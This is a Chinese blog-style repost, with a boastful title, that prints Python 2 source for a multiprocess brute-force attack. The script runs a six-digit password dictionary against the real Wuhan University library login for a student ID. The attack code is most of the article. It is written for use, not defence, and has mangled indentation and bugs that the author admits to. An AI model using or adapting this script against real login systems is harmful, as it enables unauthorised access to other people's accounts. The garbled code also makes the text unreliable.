打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
我利用Python开发大杀伤力虚拟武器!华为想聘请我,但我否决了!


            【【python学院】我利用Python开发大杀伤力虚拟武器!华为想聘请我,但我否决了!】http://toutiao.com/group/6533490954685383176/?iid=15906422033&app=explore_article&timestamp=1521212575&tt_from=copy_link&utm_source=copy_link&utm_medium=toutiao_ios&utm_campaign=client_share 


描述如果说图书馆它兼并了许多小系统的话,我还介意各位不要拿去尝试。因为那样造成的后果是非常严重的!

再次还原当时用Python破解的场景之前,我要先给大家说一下Python如何才能够打造高质量字典。所以密码破解的核心是什么?字典 多进程。黑客字典肯定是用来破解密码,而Python多进程就是提高我们的爬包速度。

Python生成黑客字典来源于字符串

描述保存下来就是一本Python黑客字典。

描述[Python破解源码]#!/usr/bin/env python#coding:utf-8#By eathingsimport urllibimport urllib2import cookielibimport multiprocessingimport reclass whu_crack(multiprocessing.Process):

def __init__(self, psw):

self.psw = psw

self.title = re.compile('<title>(.*?)</title>') def start_crack(self):

for password in self.psw: try: print password

cookie = cookielib.CookieJar()

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))

url = '

http://metalib.lib.whu.edu.cn/pds'

data = { 'func': 'login', 'calling_system': 'idp_proxy', 'term1': 'short', 'selfreg': '', 'bor_id': '201130XXXXXXX', #学号

'bor_verification': password, 'institute': 'WHU', 'url': '

http://apps.lib.whu.edu.cn/idp_proxy/bor_auth_agent.asp?goto=%2Fweb%2Flogin%2Easp&sp=http%3A%2F%2Fwww.hub.calis.edu.cn%3A8090%2Famconsole%2FAuthServices%2F242010%3Fverb%3Dsplogin&idp=242010'

}

postdata = urllib.urlencode(data)

req = urllib2.Request(url,postdata)

result = opener.open(req)

page = result.read()

info = re.findall(self.title , page) try: if re.match('relocate', info[0]): print password

xx = raw_input()

sys.exit(1) except: pass

except Exception, e: print 'Error' eif __name__ == '__main__':

file = open('Six_nums_dict.txt')#暴力字典

lines = [] for line in file:

lines.append(line.rstrip())

file.close()

num = 25

print len(lines)

block = len(lines)/num

jobs = [] for i in range(num): if i == num:

psw = lines[block*i:] else:

psw = lines[block*i : block*(i 1)]

p = whu_crack(psw)

jobs.append(p)

p.start_crack() for i in jobs:

j.join()

写这个Python代码时我是没有过多考虑缩进问题的,这样肯定会导致有些喜欢Python的朋友COPY完跑代码出错。各位自己整理一下,在这里向各位黑客说一声抱歉!

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
Python网页抓取urllib,urllib2,httplib[3]
用Python实现Youku视频批量下载
python 中的小问题(持续更新中)
Python爬虫:一些常用的爬虫技巧总结
JustPy ? python 用urllib2抓取网页和发布(登录或发布文章)的基本操作
利用python爬取小说(转载)_番茄小说爬虫
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服